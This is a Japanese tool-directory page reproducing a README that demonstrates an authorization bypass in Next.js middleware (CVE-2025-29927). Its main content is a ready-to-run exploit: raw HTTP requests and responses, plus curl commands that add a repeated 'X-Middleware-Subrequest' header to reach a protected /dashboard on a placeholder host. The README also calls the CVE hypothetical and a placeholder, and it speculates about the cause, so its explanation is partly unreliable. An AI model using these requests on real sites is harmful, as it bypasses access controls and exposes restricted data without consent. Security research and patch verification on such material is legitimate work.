Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2025-29927-poc — Next.jsミドルウェアにおける認可バイパス | Kitploit
ツール/GitHubGitHub/dedibagus/cve-2025-29927-poc
認証と認可脆弱性分析ウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト学習と教育
GitHubdedibagus/cve-2025-29927-poc

cve-2025-29927-poc

Next.jsミドルウェアにおける認可バイパス

リポジトリを見る
331年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

CVE-2025-29927-POC

はじめに

このリポジトリには、CVE-2025-29927 の概念実証(PoC)が含まれています。これは、Web アプリケーション内のミドルウェア処理における欠陥を実証する仮想的な脆弱性です。この PoC は、特別に細工された HTTP リクエストがリダイレクトロジックをバイパスして、ダッシュボードなどの制限付きコンテンツにアクセスする方法を示しています。このプロジェクトは、教育およびセキュリティ研究目的のみを対象としています。

免責事項: この PoC は、明示的な許可を得た管理環境での使用を目的としています。所有していない、またはテストの同意を得ていないシステムに対する無断のテストは、違法かつ非倫理的です。


目次

  • 前提条件
  • 脆弱性の概要
  • 概念実証の手順
    • ステップ 1: 初期リクエスト(失敗)
    • ステップ 2: 変更後のリクエスト(成功)
  • 再現方法
  • 参考情報
  • 貢献
  • ライセンス

前提条件

この PoC を実施するには、以下が必要です:

  • 脆弱な設定で動作するターゲットサーバー(例: abc.com)(CVE の詳細に基づく特定のソフトウェア/バージョンは未定)。
  • curl(curl.se)、Burp Suite(portswigger.net/burp)、またはカスタムスクリプトなどの HTTP クライアントツール。
  • HTTP プロトコルとヘッダーに関する基本的な知識(MDN HTTP ドキュメント を参照)。

脆弱性の概要

CVE-2025-29927(プレースホルダー。利用可能になった時点で公式の CVE の詳細に置き換えてください)は、ミドルウェアの設定ミスまたはロジックの欠陥を突くものと思われます。この PoC は、カスタムヘッダー(X-Middleware-Subrequest)を追加するとサーバーの動作が変わり、リダイレクトメカニズムをバイパスして制限付きコンテンツにアクセスできることを実証しています。これは、ミドルウェア(例: Next.js を使用した Nginx)がサブリクエストを処理する方法またはヘッダーを検証する方法に関連している可能性があります。

ミドルウェアの脆弱性の詳細については、OWASP ミドルウェアセキュリティ を参照してください。


概念実証の手順

この PoC は 2 つのステップで構成されています: 初期の失敗するリクエストと、変更後の成功するリクエストです。各ステップには、HTTP リクエスト、レスポンス、および詳細な説明が含まれます。

ステップ 1: 初期リクエスト(失敗)

このステップでは、追加のヘッダーなしで /dashboard エンドポイントにアクセスした場合のデフォルトのサーバー動作を示します。

HTTP リクエスト

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

HTTP レスポンス

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:02:08 GMT
Connection: keep-alive

image

説明

  • リクエストの詳細:
    • GET /dashboard: ダッシュボードエンドポイントへのアクセスを試みます。
    • User-Agent や Accept などの標準ヘッダーは、一般的なブラウザのリクエストを模倣します。
  • レスポンスの詳細:
    • 307 Temporary Redirect: サーバーがクライアントをリダイレクトすることを示します。これは、認証、認可、またはルーティングロジック(例: ログインページへのリダイレクト)が原因と考えられます。
    • Server: nginx/1.14.1: Web サーバーソフトウェアを識別します。
  • 分析: このリダイレクトは、/dashboard への直接アクセスを防ぐ保護メカニズムを示唆しています。このレスポンスに Location ヘッダーがない(簡潔にするために省略されている可能性があります)ことは、リダイレクト先が別の場所にあることを意味します。
  • 参考: HTTP ステータスコードの詳細については、MDN HTTP ステータス を参照してください。

ステップ 2: 変更後のリクエスト(成功)

このステップでは、カスタムヘッダーを追加してリダイレクトをバイパスし、ダッシュボードコンテンツの取得に成功します。

HTTP リクエスト

root@kitploit:~
GET /dashboard HTTP/1.1
Host: abc.com
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

HTTP レスポンス

root@kitploit:~
HTTP/1.1 200 OK
Server: nginx/1.14.1
Date: Sun, 23 Mar 2025 22:04:04 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
X-Powered-By: Next.js
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
Content-Length: 30174

image

説明

  • リクエストの詳細:
    • X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware: 元のリクエストに追加されたカスタムヘッダーです。繰り返される middleware 文字列は、ミドルウェアスタックの解析または検証の欠陥を悪用する可能性があります。
    • その他のヘッダーはステップ 1 から変更されません。
  • レスポンスの詳細:
    • 200 OK: ダッシュボードコンテンツへのアクセスが成功したことを確認します。
    • Content-Type: text/html; charset=utf-8: HTML レスポンス(おそらくダッシュボードページ)を示します。
    • X-Powered-By: Next.js: アプリケーションが Next.js(ルーティングにミドルウェアを利用することが多い React フレームワーク)を使用していることを示唆します。
    • Cache-Control: キャッシュを防ぎます。動的なユーザー固有のコンテンツでは一般的です。
    • Content-Length: 30174: レスポンスボディのサイズ(バイト単位)です。
  • 分析: X-Middleware-Subrequest ヘッダーは、ミドルウェアを欺いてリクエストを正当なサブリクエストとして扱わせ、リダイレクトロジックをバイパスする可能性があります。これは、サブリクエストの検証または処理方法の脆弱性を示している可能性があります。
  • 参考: Next.js ミドルウェアについては、Next.js ドキュメント を参照してください。

再現方法

以下の手順に従って、curl を使用して PoC を再現します:

ステップ 1: 初期リクエストを送信する

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

期待される出力: 307 Temporary Redirect レスポンス。

ステップ 2: 変更後のリクエストを送信する

root@kitploit:~
curl -v "http://abc.com/dashboard" \
  -H "Host: abc.com" \
  -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" \
  -H "Accept-Language: en-US,en;q=0.9" \
  -H "Upgrade-Insecure-Requests: 1" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36" \
  -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "Connection: keep-alive"

期待される出力: ダッシュボードコンテンツを含む 200 OK レスポンス。

注意: 認可された環境でテストする場合は、abc.com を実際のターゲットドメインに置き換えてください。


参考情報

  • CVE 詳細 - 公式の CVE データベース(利用可能になった時点で特定の CVE リンクに更新してください)。
  • MDN HTTP ドキュメント - HTTP プロトコルの基礎。
  • Next.js ミドルウェア - Next.js ミドルウェアの動作に関する情報。
  • OWASP ミドルウェアセキュリティ - ミドルウェアの脆弱性の概要。
  • curl マニュアル - HTTP リクエストでの curl の使用ガイド。

ライセンス

このプロジェクトは MIT ライセンスの下でライセンスされています。詳細については、LICENSE ファイルを参照してください。

ツールをダウンロード